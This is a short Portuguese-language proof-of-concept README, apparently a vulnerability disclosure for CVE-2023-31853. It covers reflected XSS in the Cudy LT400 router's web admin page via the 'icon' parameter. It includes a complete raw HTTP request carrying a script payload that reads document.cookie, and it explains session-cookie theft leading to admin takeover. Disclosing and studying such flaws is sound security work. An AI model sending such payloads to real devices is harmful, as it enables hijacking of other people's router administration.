calfcrusher/cve-2023-31853Prova de conceito para XSS refletido na interface web do Cudy LT400, demonstrando roubo de cookies de sessão e tomada de controle do administrador por meio de solicitações manipuladas.
Existe um ataque de cross-site scripting (XSS) refletido na interface de gerenciamento baseada na web do Cudy LT400.
A página /cgi-bin/luci/admin/network/bandwidth possui XSS refletido através do parâmetro icon.
Os métodos de exploração envolveriam o envio de uma solicitação especialmente criada para a vítima que inclui código malicioso.
O aplicativo afetado não define o Cookie de Sessão com o atributo HttpOnly; isso pode resultar na tomada de controle do administrador via roubo de token de sessão.
GET /cgi-bin/luci/admin/network/bandwidth?iface=4g&icon=icon-4g%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&i18name=Cellular HTTP/1.1
Host: 172.16.1.1
User-Agent: Mozilla/5.0
Accept: text/html, */*; q=0.01
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://172.16.1.1/cgi-bin/luci/
Cookie: sysauth=REDACTED
Shenzhen Cudy Technology